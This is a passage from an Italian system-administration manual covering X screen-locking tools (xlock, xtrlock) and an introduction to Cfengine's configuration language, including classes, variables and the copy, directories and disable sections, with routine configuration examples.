interrompere il funzionamento del servente grafico attraverso la combinazione [ Ctrl+Alt+Backspace ], occorre la direttiva DontZap nella sezione ServerFlags : Section "ServerFlags" Option DontZap # Option Dont Zoom EndSection 1 Lockvc GNU GPL 2 Vlock GNU GPL

117 Misure di sicurezza per l elaboratore personale senza rete $ xlock xlock [opzioni] xlock 3 è il programma più comune per il blocco di una stazione grafica X. Sono disponibili una grande quantità di opzioni; in particolare l opzione -mode prevede un elenco molto lungo di argomenti composti da una sola parola chiave, che serve a definire il tipo di effetto grafico da utilizzare come salva-schermo. In condizioni normali, se non si usano opzioni che vanno in senso contrario, basta premere un tasto qualunque per interrompere il salva-schermo; quindi, con l inserimento della parola d ordine dell utente che lo ha avviato, si può concludere il funzionamento di xlock. A titolo di esempio viene mostrato il caso di un salva-schermo nero: $ xlock -mode blank Nel caso non si utilizzasse alcuna opzione, si otterrebbe un effetto grafico salva-schermo, scelto casualmente tra quelli disponibili $ xtrlock xtrlock xtrlock 4 è un programma molto semplice, che non prevede alcun argomento. Il suo scopo è solo quello di bloccare l uso della tastiera e del mouse, senza attivare alcun salva-schermo. Lo sblocco della stazione grafica si ottiene soltanto digitando la parola d ordine dell utente (senza alcun campo di inserimento), concludendo con la pressione di [ Invio ]. Se la parola d ordine inserita è errata, viene emesso un segnale acustico e quindi si può riprovare l inserimento. Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org 3 Xlock software libero sottoposto a diverse licenze a seconda della porzione di codice coinvolto 4 Xtrlock GNU GPL

118 2102 Misure di sicurezza per l elaboratore personale senza rete

119 Parte xxxvi Cfengine 192 Introduzione a Cfengine Primo approccio con la configurazione Sezioni e classi predefinite Classi più in dettaglio Variabili e stringhe Espressioni regolari Cfengine: sezioni di uso comune Permessi e proprietà Sezione control Sezione classes o groups Sezione copy Sezione directories Sezione disable Sezione files Sezione links Sezione processes Sezione shellcommands Sezione tidy Cfengine attraverso la rete Configurazione e avvio del demone Filosofia del sistema di distribuzione di Cfengine

120 Introduzione a Cfengine Capitolo 192 Cfengine 1 è uno strano sistema di amministrazione di elaboratori Unix, la cui importanza si apprende solo con il tempo e con l utilizzo. Il suo scopo è quello di facilitare l amministrazione di tali sistemi operativi, soprattutto quando si dispone di un gruppo eterogeneo di questi su diversi elaboratori. Questi capitoli dedicati a Cfengine non pretendono di esaurire l argomento, cercando piuttosto di semplificare il suo apprendimento, che poi può essere approfondito leggendo la documentazione originale. A prima vista, si può intendere Cfengine come l interprete di un linguaggio molto evoluto. In questo capitolo si introduce l uso specifico dell eseguibile cfengine, il cui scopo è interpretare un file di configurazione, ovvero il suo script, agendo di conseguenza Primo approccio con la configurazione Per funzionare, l eseguibile cfengine richiede la presenza di un file di configurazione, che eventualmente può essere trasformato in script, se ciò può essere conveniente. La comprensione, anche elementare, del modo in cui si configura questo programma, è la chiave per capire a cosa può servire in generale Cfengine. Il file di configurazione di cfengine ha una struttura speciale, in cui però si possono inserire commenti, preceduti dal simbolo #, e righe vuote o bianche. In particolare, a proposito dei commenti, se questi si collocano alla fine di una direttiva, devono essere staccati da questa con uno o più spazi orizzontali. Le direttive del file di configurazione vanno inserite all interno di sezioni ed eventualmente all interno di classi. In altri termini, il file di configurazione si articola in sezioni, che possono contenere direttive o scomporsi in classi, che a loro volta contengono le direttive. Come si intende, la suddivisione in classi è facoltativa, ma si tratta comunque di una caratteristica fondamentale di Cfengine, in quanto consente di selezionare le direttive da prendere in considerazione in base all appartenenza o meno dell elaboratore alle classi stesse. Dal momento che il problema non è semplice da esporre, conviene iniziare subito con un esempio che possa essere verificato senza troppi problemi anche da un utente comune: # Esempio di partenza control: actionsequence = ( links ) links: /var/tmp/altra -> /tmp Se questo file si chiama cfengine.conf e si trova nella directory corrente, qualunque essa sia, se non è stata impostata la variabile di ambiente CFINPUTS, si può avviare l interpretazione di tale file semplicemente avviando l eseguibile cfengine : $ cfengine Quello che si ottiene è soltanto la creazione del collegamento simbolico /var/tmp/altra che punta in realtà alla directory /tmp/. Se il file di configurazione fosse stato collocato altrove, eventualmente con un altra denominazione, si poteva ottenere lo stesso risultato con il comando seguente, dove il nome del file viene aggiunto nella riga di comando: 1 CFengine GNU GPL 2104

121 Introduzione a Cfengine 2105 $ cfengine -f file_di_configurazione Infine, per realizzare uno script dalla configurazione, basta inserire all inizio una riga simile a quella seguente (ammesso che l eseguibile si trovi effettivamente in /usr/bin/ ): #!/usr/bin/cfengine -f In altri termini, lo script completo dell esempio precedente sarebbe: #!/usr/bin/cfengine -f # Esempio di partenza control: actionsequence = ( links ) links: /var/tmp/altra -> /tmp La variabile CFINPUTS La variabile di ambiente CFINPUTS serve per definire un percorso di ricerca per il file di configurazione. In generale, se si utilizza l opzione -f specificando un percorso assoluto, a partire dalla radice (qualcosa che inizia con / ), si tratta esattamente di quel file, altrimenti, se è disponibile la variabile CFINPUTS, questa viene preposta al nome del file indicato. Per esempio, il comando $ cfengine -f prova fa riferimento precisamente al file di configurazione $CFINPUTS/prova, ovvero al file./ prova se la variabile CFINPUTS non è disponibile. Quando non si indica il file di configurazione, si fa implicitamente riferimento al nome cfengine.conf. In tal caso si tratta precisamente di $CFINPUTS/cfengine.conf, ovvero del file./cfengine.conf in mancanza della variabile CFINPUTS Simulazione Cfengine è un sistema molto potente, i cui script definiscono operazioni molto complesse con poche direttive. Di fronte a direttive distruttive occorre essere sicuri del risultato che si ottiene effettivamente. Per verificare cosa farebbe Cfengine con la configurazione stabilita, senza eseguire realmente la cosa, si può usare l opzione -n, abbinata a -v : la prima simula l esecuzione; la seconda mostra nel dettaglio cosa succede o cosa dovrebbe succedere. Finché non si è sicuri del proprio script o della propria configurazione, occorre ricordare di fare tutte le prove utilizzando l opzione -n. Realizzando uno script con questo intento, basta modificare la prima riga nel modo seguente: #!/usr/bin/cfengine -n -v -f

122 2106 Introduzione a Cfengine Sezioni e classi predefinite Le direttive del file di configurazione vanno inserite all interno di sezioni, che a loro volta possono suddividersi in classi. Le sezioni rappresentano dei tipi di azione e i loro nomi sono già stabiliti. sezione_ovvero_tipo_di_azione : definizione_della_classe :: direttiva_o_azione Negli esempi visti fino a questo punto, sono state mostrate le sezioni control e links. Nella sezione control è stata inserita la direttiva actionsequence, che ha l aspetto di un assegnamento a una variabile: control: actionsequence = ( links ) Le direttive, ovvero le istruzioni che possono apparire all interno di classi o di sezioni non suddivise in classi, possono occupare una o più righe, senza bisogno di simboli di continuazione e senza bisogno di simboli per la conclusione delle istruzioni stesse. In questo caso particolare, si tratta di assegnare uno o più nomi, che rappresentano altrettante sezioni, alla sequenza di esecuzione. In pratica, la direttiva dell esempio stabilisce che deve essere eseguita la sezione links. Se non venisse specificata in questo modo, la sezione links non verrebbe presa in considerazione. Pertanto, la configurazione seguente non produrrebbe alcunché: # Non fa nulla control: actionsequence = ( ) links: /var/tmp/altra -> /tmp Il prossimo esempio dovrebbe chiarire definitivamente questo particolare. Si osservi il fatto che si vuole eseguire prima la sezione tidy e poi la sezione links, anche se l ordine in cui sono mostrate poi le sezioni è inverso. control: actionsequence = ( tidy links ) links: /var/tmp/altra -> /tmp tidy: /var/tmp pattern=* age=30 recurse=inf In questo caso, la sezione tidy serve a programmare la cancellazione di file e directory. Per la precisione, la direttiva che si vede cancella tutti i file e le directory a partire da /var/ tmp/, purché la data di accesso sia trascorsa da almeno 30 giorni. Si osservi anche l opzione recurse=inf, che richiede una ricorsione infinita nelle sottodirectory. In condizioni normali, questa ricorsione non dovrebbe attraversare i collegamenti simbolici, mentre per ottenere tale comportamento occorrerebbe aggiungere l opzione -l. Pertanto, anche se dovesse esistere già il collegamento simbolico /var/tmp/altra, che punta a /tmp/, questa directory non verrebbe scandita se non richiesto espressamente.

123 Introduzione a Cfengine 2107 Le classi sono la caratteristica fondamentale di Cfengine, perché consentono di distinguere le direttive di una sezione in base a una sottoclassificazione che serve a selezionare un gruppo ristretto di elaboratori. In pratica, consente di indicare direttive differenti in base alla «classificazione» a cui appartengono gli elaboratori presi in considerazione. Si osservi l esempio seguente: control: actionsequence = ( links ) links: linux_2.2.15:: /var/tmp/altra -> /tmp linux_2.2.16:: /var/tmp/altre -> /tmp /var/tmp/altri -> /tmp Anche se poco significativo, l esempio è abbastanza semplice e dovrebbe permettere di comprendere il senso della distinzione in classi. In questo caso, la sezione links si articola in due classi, denominate linux_ e linux_ Se viene usato questo file in un elaboratore con un sistema GNU/Linux avente un kernel , si ottiene il collegamento simbolico /var/ tmp/altra, mentre con un kernel si otterrebbero due collegamenti simbolici: /var/ tmp/altre e /var/tmp/altri. Naturalmente, questa operazione può non avere molto significato in generale, ma l esempio serve a mostrare la possibilità di indicare direttive diverse in base alla classe a cui appartiene l elaboratore. La classe serve principalmente a individuare il sistema operativo (nel caso di GNU/Linux si tratta del nome del kernel), in modo da cambiare azione in funzione delle consuetudini di ogni ambiente. In questo caso, volendo selezionare un sistema GNU/Linux senza specificare la versione del kernel sarebbe stato sufficiente indicare la classe linux. Tuttavia, come si vede nell esempio, esistono delle classi più dettagliate che permettono di raggiungere anche altre caratteristiche. Per conoscere quali sono le classi valide nell elaboratore che si utilizza in un certo momento, basta il comando seguente: $ cfengine -p -v A titolo di esempio, ecco cosa potrebbe comparire: GNU Configuration Engine - cfengine Free Software Foundation 1995, 1996, 1997 Donated by Mark Burgess, Centre of Science and Technology Faculty of Engineering, Oslo College, 0254 Oslo, Norway Host name is: dinkel Operating System Type is linux Operating System Release is Architecture = i586 Using internal soft-class linux for host dinkel The time is now Tue Oct 24 16:11: Additional hard class defined as: 32_bit Additional hard class defined as: linux_ Additional hard class defined as: linux_i586 Additional hard class defined as: linux_i586_ Additional hard class defined as:

124 2108 Introduzione a Cfengine linux_i586_2_2_15 1_Thu_Aug_31_15_55_32_CEST_2000 GNU autoconf class from compile time: linux-gnu Careful with this - it might not be correct at run time if you have several OS versions with binary compatibility! Address given by nameserver: dinkel: No preconfiguration file Accepted domain name: undefined.domain Defined Classes = ( any debian linux dinkel undefined_domain Tuesday Hr16 Min11 Min10_15 Day24 October Yr _bit linux_2_2_15 linux_i586 linux_i586_2_2_15 linux_i586_2_2_15 1_Thu_Aug_31_15_55_32_CEST_2000 linux_gnu 192_168_1 192_168_1_1 ) Negated Classes = ( ) Installable classes = ( ) Global expiry time for locks: 120 minutes Global anti-spam elapse time: 0 minutes Extensions which should not be directories = ( ) Suspicious filenames to be warned about = ( ) Le classi disponibili sono quindi quelle elencate nell insieme Defined Classes. Si può osservare che è accessibile anche una classe con il nome della distribuzione GNU/Linux (in questo caso è Debian), oltre agli indirizzi IP abbinati all interfaccia di rete Classi più in dettaglio Le classi non sono necessariamente nomi singoli; possono essere delle espressioni composte da più nomi di classe, uniti tra loro attraverso operatori booleani opportuni. Prima di arrivare a descrivere questo, è bene riassumere le classi più comuni e vedere come si possono definire delle classi nuove. Una classe elementare può essere: la parola chiave any, che rappresenta tutti gli elaboratori; il nome del sistema operativo o del kernel, assieme a una serie di varianti che includono altre caratteristiche dell architettura del sistema; il nome finale dell elaboratore (senza il dominio eventuale a cui appartiene); il nome che identifica una componente del tempo (giorno, ora, minuto, ecc.), come si vede nella tabella 192.1; il nome di un gruppo di classi definito per comodità dell utilizzatore; il nome di una classe libera definito per comodità dell utilizzatore.

125 Introduzione a Cfengine 2109 Tabella Elenco delle classi di Cfengine riferite al tempo. Nome Monday, Tuesday, Wednesday,... Hr00, Hr01,... Hr23 Min00, Min01,... Min59 Min00_05, Min05_10,... Min55_00 Day1, Day2,... Day31 January, February,... December Yr1999, Yr2000, Yr2001,... Descrizione Giorni della settimana. Ore del giorno. Minuti di un ora. Intervalli di cinque minuti. Giorni del mese. Mesi dell anno. Anni. Si può definire un gruppo di classi attraverso la sezione classes o groups, in cui le direttive servono per definire delle classi nuove raggruppando più classi preesistenti: classes: groups: gruppo_di_classi = ( classe_1 classe_2... )... Per esempio, la dichiarazione seguente serve a raggruppare in due classi nuove le ore del mattino e le ore della sera, supponendo che ciò possa avere un significato pratico di qualche tipo: classes: OreDelMattino = ( Hr06 Hr07 Hr08 Hr09 ) OreDellaSera = ( Hr18 Hr19 Hr20 Hr21 ) Inoltre si possono definire delle classi in base al risultato soddisfacente di un programma o di uno script. In altri termini, se un programma restituisce Vero, questo fatto può essere preso in considerazione come motivo valido per generare una classe. L esempio seguente crea la classe miashell se è presente il file /bin/bash oppure il file /bin/zsh : classes: miashell = ( "/bin/test -f /bin/bash" "/bin/zsh" ) Si possono dichiarare anche delle classi fittizie, il cui significato si può comprendere solo in un secondo momento. Queste classi fittizie si dichiarano nella sezione control, con la direttiva addclasses : control:... addclasses = ( classe_fittizia... )... L esempio seguente crea due classi fittizie, denominate bianchi e rossi : addclasses = ( bianchi rossi ) Avendo più chiaro in mente cosa possa essere una classe elementare, si può iniziare a descrivere la definizione di espressioni legate alle classi. Le espressioni in questione sono booleane, dal momento che le classi, di per sé, rappresentano degli insiemi di elaboratori. In questo senso, la logica booleana si intende correttamente come la logica degli insiemi. Gli operatori di queste espressioni sono elencati nella tabella Tabella Operatori logici delle espressioni riferite alle classi di Cfengine. Operatore Descrizione ( ) Le parentesi tonde hanno la precedenza nella valutazione.! NOT, ovvero insieme complementare.. AND, ovvero intersezione. OR, ovvero unione. Modo alternativo di indicare OR.

126 2110 Introduzione a Cfengine Per esempio, per indicare una classe complessiva che rappresenta indifferentemente un elaboratore con sistema operativo GNU/Linux o GNU/Hurd, si potrà usare l espressione linux hurd. In pratica, si scrive così: linux hurd:: Per indicare una classe che rappresenti tutti gli elaboratori che non abbiano un sistema operativo GNU/Linux, si potrebbe usare l espressione!linux, ovvero:!linux:: A questo punto diventa più facile comprendere il senso delle classi fittizie che si possono dichiarare con la direttiva addclasses. Si osservi l esempio seguente: control: actionsequence = ( links ) addclasses = ( primo ) links: any.primo:: /var/tmp/altra -> /tmp L espressione any.primo si avvera solo quando la classe elementare primo è stata dichiarata come nell esempio; infatti, any è sempre vera. In questo modo, anche se l esempio non richiederebbe tanta raffinatezza, basterebbe controllare la dichiarazione della direttiva addclasses per abilitare o meno la classe sottostante. In altri termini, è facile modificare un file di configurazione che richiama in più punti la classe fittizia primo, modificando solo una riga di codice nella sezione control. Il controllo sulla definizione di classi fittizie può avvenire anche al di fuori del file di configurazione attraverso le opzioni -Dclasse_fittizia e -Nclasse_fittizia. Nel primo caso, si ottiene la dichiarazione di una classe fittizia, mentre nel secondo si ottiene l eliminazione di una classe già dichiarata nel file di configurazione. Per esempio, il comando seguente serve ad annullare l effetto della dichiarazione della classe fittizia primo, dell esempio precedente. $ cfengine -Nprimo -f prova.conf Variabili e stringhe Cfengine gestisce le variabili di ambiente, oltre ad altre variabili, in modo simile a quanto fanno le shell. Queste variabili vengono espanse usando una delle due notazioni seguenti: $(nome_variabile ) ${nome_variabile } Per la precisione, le variabili di Cfengine possono essere state ereditate dall ambiente, possono essere state definite nella sezione control, oppure possono essere variabili predefinite di Cfengine. L esempio seguente mostra la dichiarazione della variabile percorso nella sezione control : control: actionsequence = ( tidy links ) percorso = ( "/var/tmp" ) tidy: $(percorso) pattern=* age=30 recurse=inf links: $(percorso)/altra -> /tmp

127 Introduzione a Cfengine 2111 Si intuisce che potrebbe essere più interessante dichiarare la variabile in questione all interno di classi diverse, in modo da aggiornare automaticamente il percorso di conseguenza. L esempio seguente mostra due classi inventate, bianco e nero, che non esistono in realtà: control: actionsequence = ( tidy links ) bianco:: percorso = ( "/var/tmp" ) nero:: percorso = ( "/temp" ) tidy: $(percorso) pattern=* age=30 recurse=inf links: $(percorso)/altra -> /tmp Si può osservare in particolare che la direttiva actionsequence, non appartenendo ad alcuna classe, viene presa sempre in considerazione. Le variabili predefinite di Cfengine sono tali perché sono gestite automaticamente e servono a rendere disponibili delle informazioni, oppure perché servono a definire delle informazioni specifiche. In altri termini, le prime vanno solo lette, mentre le altre vanno impostate opportunamente se richiesto. La tabella mostra le variabili destinate alla sola lettura, mentre la tabella mostra le variabili da impostare. Tabella Variabili interne di Cfengine, destinate alle sola lettura. Variabile allclasses arch binserver class date fqhost ipaddress year Descrizione Elenca le classi attive. Architettura in modo dettagliato. Servente NFS predefinito per dati binari. Classe essenziale riferita al sistema operativo. La data attuale. Il nome di dominio completo. Un indirizzo IP significativo dell elaboratore. L anno attuale. Per quanto riguarda la variabile domain, se questa non viene impostata espressamente, occorre considerare che potrebbe trattarsi del dominio che compone il nome dell elaboratore, ovvero ciò che si legge e si imposta con il comando hostname dei sistemi Unix. In pratica, se il nome dell elaboratore è stato impostato senza l aggiunta del dominio di appartenenza, questa variabile restituisce probabilmente la stringa undefined.domain. Lo stesso discorso vale per la variabile fqhost : se non si dispone del dominio finale nel nome restituito da hostname, si ottiene una cosa simile a nome.undefined.domain. Tabella Variabili interne di Cfengine, modificabili da parte dell utilizzatore. Variabile domain faculty, site maxcfengines repchar split sysadm checksumdatabase Descrizione Il dominio, senza il nome iniziale dell elaboratore. Nome utilizzabile per definire il luogo. Numero massimo di processi Cfengine concorrenti. Carattere usato in sostituzione di / nei nomi di file. Carattere usato per separare gli elenchi nelle variabili. Amministratore (nome o indirizzo di posta elettronica). File destinato alla raccolta dei codici di controllo.

128 2112 Introduzione a Cfengine In generale, i nomi delle variabili sono distinti anche in base all uso di maiuscole e minuscole; tuttavia, le variabili predefinite possono essere usate con qualunque combinazione di lettere maiuscole e minuscole. Esiste anche un altro gruppo di variabili speciali, in sola lettura, definite per facilitare l inserimento di caratteri speciali all interno di stringhe, quando non è possibile fare altrimenti. Queste variabili sono elencate nella tabella Tabella Variabili interne per la rappresentazione di caratteri speciali. Variabile Descrizione cr Ritorno a carrello: <CR>. dblquote Apici doppi: ". dollar Dollaro: $. lf Avanzamento di riga: <LF>. n Codice di interruzione di riga secondo l architettura. quote Apice singolo:. space Spazio singolo: <SP>. tab Tabulazione: <TAB>. Le stringhe sono delimitate indifferentemente attraverso apici doppi e singoli, potendo usare anche gli apici singoli inversi. In pratica, si possono usare le forme seguenti: "stringa" stringa stringa Il significato è lo stesso e l espansione delle variabili avviene in tutti i casi nello stesso modo. Disponendo di diversi tipi di delimitatori, è più facile includere questi simboli nelle stringhe stesse. In questo senso va considerato il fatto che non esistono sequenze di escape; al massimo si possono usare le variabili predefinite per la rappresentazione di caratteri particolari. Le stringhe sono utilizzabili solo in contesti particolari, precisamente la definizione di valori da assegnare a una variabile dichiarata nella sezione control e i comandi di shell nella sezione shellcommands (che non è ancora stata mostrata) Elenchi Le variabili possono essere intese come contenenti un elenco di sottostringhe. In questi casi, la loro espansione può richiedere una valutazione ulteriore. Tutto ha inizio dalla variabile interna split, che normalmente contiene il carattere :. In questo senso, si osservi l esempio seguente: control: actionsequence = ( tidy ) elenco = ( "primo:secondo:terzo" ) tidy: /var/tmp/$(elenco) pattern=* age=0 Assegnando alla variabile elenco la stringa primo:secondo:terzo, si ottiene l indicazione di un elenco di tre sottostringhe: primo, secondo e terzo. A questo punto, la direttiva contenuta nella sezione tidy, si traduce nella cancellazione dei file /var/tmp/primo, /var/tmp/secondo e /var/tmp/terzo. Volendo cambiare il simbolo di separazione delle sottostringhe si agisce nella variabile split, come si vede nell esempio seguente, che ottiene lo stesso risultato.

129 Introduzione a Cfengine 2113 control: actionsequence = ( tidy ) split = ( " " ) elenco = ( "primo secondo terzo" ) tidy: /var/tmp/$(elenco) pattern=* age=0 Naturalmente, si può ottenere l espansione di variabili del genere solo nei contesti in cui questo può avere significato Espressioni regolari In contesti ben determinati, si possono indicare delle espressioni regolari. Cfengine utilizza le espressioni regolari ERE secondo le convenzioni GNU. Sono disponibili gli operatori riassunti nella tabella Tabella Elenco degli operatori delle espressioni regolari. Operatore Descrizione \ Protegge il carattere seguente da un interpretazione diversa da quella letterale. ^ Ancora dell inizio di una stringa.. Corrisponde a un carattere qualunque. $ Ancora della fine di una stringa. Indica due possibilità alternative alla sua sinistra e alla sua destra. ( ) Definiscono un raggruppamento. [ ] Definiscono un espressione tra parentesi quadre. [xy...] Un elenco di caratteri alternativi. [x-y] Un intervallo di caratteri alternativi. [^...] I caratteri che non appartengono all insieme. x* Nessuna o più volte x. Equivalente a x{0,}. x? Nessuna o al massimo una volta x. Equivalente a x{0,1}. x+ Una o più volte x. Equivalente a x{1,}. x{n} Esattamente n volte x. x{n,} Almeno n volte x. x{n,m} Da n a m volte x. \b La stringa nulla all inizio o alla fine di una parola. \B La stringa nulla interna a una parola. \< La stringa nulla all inizio di una parola. \> La stringa nulla alla fine di una parola. \w Un carattere di una parola, praticamente [[:alnum:]_]. \W L opposto di \w, praticamente [^[:alnum:]_]. Le espressioni regolari GNU includono anche le classi di caratteri (nella forma [:nome :], come prescrive lo standard POSIX, mentre mancano i simboli di collazione e le classi di equivalenza. Per un discorso generale sulle espressioni regolari, si veda anche il capitolo 316. Appunti di informatica libera Copyright Daniele Giacomini -- swlibero.org

130 Cfengine: sezioni di uso comune Capitolo 193 Una volta compresa a grandi linee l impostazione della configurazione di Cfengine, bisogna entrare nell analisi specifica di ogni sezione che si voglia prendere in considerazione, dal momento che ognuna può avere le sue caratteristiche e le sue direttive specifiche. In questo capitolo si descrivono solo alcune sezioni tipiche, in modo superficiale, allo scopo di consentire un utilizzo elementare di Cfengine. Si osservi che in generale non conta l ordine in cui sono indicate le sezioni e le direttive all interno delle sezioni; inoltre, le direttive possono utilizzare più righe senza bisogno di simboli di continuazione Permessi e proprietà In più sezioni differenti si usano delle direttive che contengono opzioni con lo stesso nome e con lo stesso significato. Si tratta in particolare di quelle opzioni che definiscono le caratteristiche dei permessi e delle proprietà di file e directory. È il caso di mostrare queste opzioni una volta sola per tutte: mode=modalità owner=utente_proprietario group=gruppo_proprietario La modalità è un numero ottale oppure una stringa di permessi. La stringa di permessi può essere espressa come avviene con il comando chmod. Si osservino gli esempi seguenti. Opzione mode=0775 mode=u+rwx mode=o-rwx user=root group=root Descrizione Imposta la modalità in modo preciso. Assegna sicuramente all utente proprietario i permessi di lettura, scrittura ed esecuzione (o attraversamento). Toglie agli utenti diversi dall utente proprietario e dal gruppo proprietario qualunque permesso di accesso. Stabilisce che l utente e il gruppo proprietario deve essere root, ammesso che Cfengine stia funzionando con i privilegi necessari per poter modificare la proprietà di file e directory Sezione control La sezione control è quella fondamentale di ogni configurazione di Cfengine, dal momento che è attraverso questa, assieme alla direttiva actionsequence, che si stabilisce l utilizzo e l ordine delle altre sezioni. In generale, la sintassi specifica di questa sezione è la seguente: control: [espressione_classe::] nome = ( valore... )

131 Cfengine: sezioni di uso comune 2115 È essenziale che, nelle direttive di assegnamento tipiche di questa sezione, le parentesi tonde siano spaziate sia all interno che all esterno Impostazione delle variabili In questa sezione si dichiarano le variabili e si impostano quelle predefinite che richiedono un intervento. L esempio seguente definisce la variabile predefinita domain : control:... domain = ( brot.dg ) Direttiva actionsequence Al nome actionsequence viene assegnato l elenco di nomi di sezioni e di altre azioni da eseguire, in base all ordine in cui si trovano in questo elenco: control:... actionsequence = ( azione_1 azione_2... )... A livello di utilizzo elementare, si fa riferimento sempre solo a nomi di sezione, mentre sono previsti altri nomi che identificano azioni particolari che non fanno capo a una sezione Direttiva addclasses La direttiva addclasses è utilizzata per creare delle classi fittizie aggiuntive. L esempio seguente aggiunge le classi bianco e nero : control:... addclasses = ( bianco nero )... Si possono aggiungere delle classi anche con l opzione -Dnome e si possono eliminare delle classi con l opzione -Nnome Sezione classes o groups La sezione classes, ovvero anche groups, è un po anomala nella logica di Cfengine, dal momento che non rappresenta un azione vera e propria, ma la dichiarazione di un raggruppamento di classi. Intuitivamente si comprende che questa cosa dovrebbe essere compito della sezione control. In effetti, questa sezione viene presa in considerazione comunque e non va annotata nella direttiva actionsequence della sezione control. La sintassi della dichiarazione di una classe nell ambito di questa sezione, può essere di tre tipi:

132 2116 Cfengine: sezioni di uso comune classes: groups:... gruppo_di_classi = ( classe_1 classe_2... )... classes: groups:... classe = ( +dominio_nis )... classes: groups:... classe = ( "comando_di_shell " )... Nel primo caso si crea una classe che riproduce la somma di quelle indicate tra parentesi; nel secondo si ha una classe che rappresenta l insieme degli elaboratori appartenenti al dominio NIS indicato; nel terzo si ottiene una classe se il comando indicato (delimitato tra virgolette) termina con successo, ovvero restituisce Vero Sezione copy La sezione copy serve a copiare file nell ambito dello stesso file system, oppure tra elaboratori differenti, attraverso il demone cfd. La copia viene fatta preparando prima un file con estensione.cfnew, che alla fine viene rinominato nel modo previsto. Questa accortezza serve nella copia tra elaboratori, per evitare il danneggiamento dei file nel caso di interruzione della comunicazione nella rete. Salvo diversa indicazione, quando viene rimpiazzato un file attraverso la copia, quello vecchio viene conservato temporaneamente aggiungendogli l estensione.cfsaved. copy: [ espressione_classe::] origine dest=destinazione [altre_opzioni] Il contenuto della sezione copy, può essere ovviamente suddiviso in classi, se ciò è utile. Alla fine, le direttive che possono essere contenute sono di un tipo solo, dove la prima informazione indica il nome del file, o il modello di file da copiare, mentre il resto sono delle opzioni nella forma nome =valore. Le opzioni di queste direttive sono numerose; qui ne vengono descritte solo alcune Opzione dest dest=destinazione Con questa opzione si definisce la destinazione della copia. Deve trattarsi di un oggetto dello stesso tipo dell origine: se l origine è un file normale, la destinazione deve essere un file normale; se l origine è un collegamento simbolico la destinazione si riferisce a un collegamento simbolico; se l origine è una directory, la destinazione deve essere una directory, in cui verranno copiati tutti i file che si trovano in quella originale (senza riprodurre le sottodirectory eventuali). copy: /etc/passwd dest=/home/tizio/users L esempio mostra una situazione molto semplice, dove si vuole copiare il file /etc/passwd nel file /home/tizio/users, oppure si vuole mantenere aggiornata la copia.

133 Cfengine: sezioni di uso comune Opzione recurse recurse={n_livelli inf} La copia di una directory può avvenire anche ricorsivamente, attraverso le sue sottodirectory, specificando il livello di ricorsione con questa opzione. Si assegna un numero intero, oppure la parola chiave inf. Il numero rappresenta la quantità di livelli di ricorsione da considerare, mentre la parola inf richiede espressamente una ricorsione infinita. copy: /etc dest=/home/tizio/copia_etc recurse=1 L esempio mostra la copia del contenuto della directory /etc/ nella directory /home/tizio/ copia_etc/. Dal momento che la ricorsione è limitata a un solo livello, si ottengono solo i file e le sottodirectory vuote (nel senso che non viene copiato anche il loro contenuto) Opzione type type={ctime mtime checksum sum byte binary} L opzione type definisce in che modo Cfengine può determinare se il file va copiato o meno. Normalmente si fa riferimento alla data di «creazione», intesa come quella in cui vengono modificati i permessi o comunque viene cambiato inode, nel senso che solo se il file di origine ha una data più recente viene fatta la copia. Intuitivamente si comprende il senso delle parole chiave ctime e mtime : la prima fa riferimento esplicito a questa data di creazione, mentre la seconda fa riferimento alla data di modifica. In alternativa, le parole chiave checksum o sum richiedono un controllo attraverso un codice di controllo (una firma MD5) per determinare se il file originale è diverso e se è richiesta la copia. Si osservi che nella copia tra elaboratori distinti, è l elaboratore di destinazione che genera la firma MD5 del suo file e la invia all elaboratore di origine per il confronto. Pertanto è nell elaboratore di origine che avviene la comparazione delle firme e in caso di diversità avviene la trasmissione del file di origine. Le parole chiave byte e binary richiedono un confronto completo dei file byte per byte. copy: /etc/passwd dest=/home/tizio/users type=checksum L esempio mostra il caso della copia del file /etc/passwd nel file /home/tizio/users, verificando la necessità di aggiornare la copia attraverso un codice di controllo Opzione purge purge={true false} L opzione purge, se attivata assegnando la parola chiave true, abilita l eliminazione dei file che nell origine non sono più presenti.

134 2118 Cfengine: sezioni di uso comune copy: /etc dest=/home/tizio/copia_etc recurse=inf purge=true L esempio mostra la copia del contenuto della directory /etc/ nella directory /home/tizio/ copia_etc/, con ricorsione infinita, specificando anche che nella destinazione devono essere eliminati i file e le directory che non sono più presenti nell origine Opzione server server=nodo_remoto Questa opzione si usa quando si vuole copiare un file remoto; per la precisione, serve a specificare che l origine si trova presso un altro elaboratore. Per riuscire a copiare attraverso elaboratori, è necessario che il nodo servente sia stato predisposto con il demone cfd ; inoltre, è necessario specificare la variabile domain nella sezione di controllo ( control ) Sezione directories directories: [espressione_classe::] directory [opzioni] Le direttive della sezione directories servono a richiedere la presenza di directory determinate, specificando eventualmente le caratteristiche necessarie. Se le directory in questione mancano, vengono create; se le caratteristiche non corrispondono, queste vengono modificate. Le opzioni più importanti sono quelle che definiscono i permessi e la proprietà, come descritto nella sezione directories: / mode=0755 owner=root group=root /etc mode=0755 owner=root group=root /bin mode=0755 owner=root group=root /dev mode=0755 owner=root group=root /sbin mode=0755 owner=root group=root /lib mode=0755 owner=root group=root /usr mode=0755 owner=root group=root /tmp mode=1777 owner=root group=root L esempio mostra una serie di direttive della sezione directories con lo scopo di salvaguardare la presenza, i permessi e la proprietà di alcune directory importanti Sezione disable disable: [espressione_classe::] file [opzioni] La sezione disable serve a elencare un gruppo di file che si vogliono «disabilitare». L idea è che questi file non devono essere presenti, ma non si vogliono nemmeno cancellare. In pratica, se vengono trovati, si aggiunge loro l estensione.cfdisabled.

135 Cfengine: sezioni di uso comune 2119 disable: /etc/hosts.equiv L esempio mostra una situazione tipica, in cui si vuole evitare che esista il file /etc/ hosts.equiv, pur lasciando la possibilità di verificare cosa conteneva effettivamente Opzione rotate rotate={n empty} Eccezionalmente, se si utilizza l opzione rotate, si fa riferimento implicitamente a file di registrazioni (log), che conviene spezzare periodicamente. Assegnando un numero intero all opzione, si specifica la quantità di livelli da conservare. Per esempio, assegnando il valore 2, si fa in modo che il file venga rinominato aggiungendo l estensione.1, mentre un eventuale file preesistente con lo stesso nome verrebbe rinominato sostituendo l estensione.1 con.2. Se si assegna la parola chiave empty, non si salvano le versioni precedenti, annullando semplicemente il contenuto del file. disable: /var/log/wtmp rotate=7 L esempio mostra la richiesta di mettere da parte il file /var/log/wtmp, in modo da ricominciare con un file vuoto, mantenendo sette copie precedenti, da /var/log/wtmp.1 a /var/ log/wtmp Sezione files files: [espressione_classe::] file [opzioni] Le direttive della sezione files servono a richiedere la presenza di file determinati, 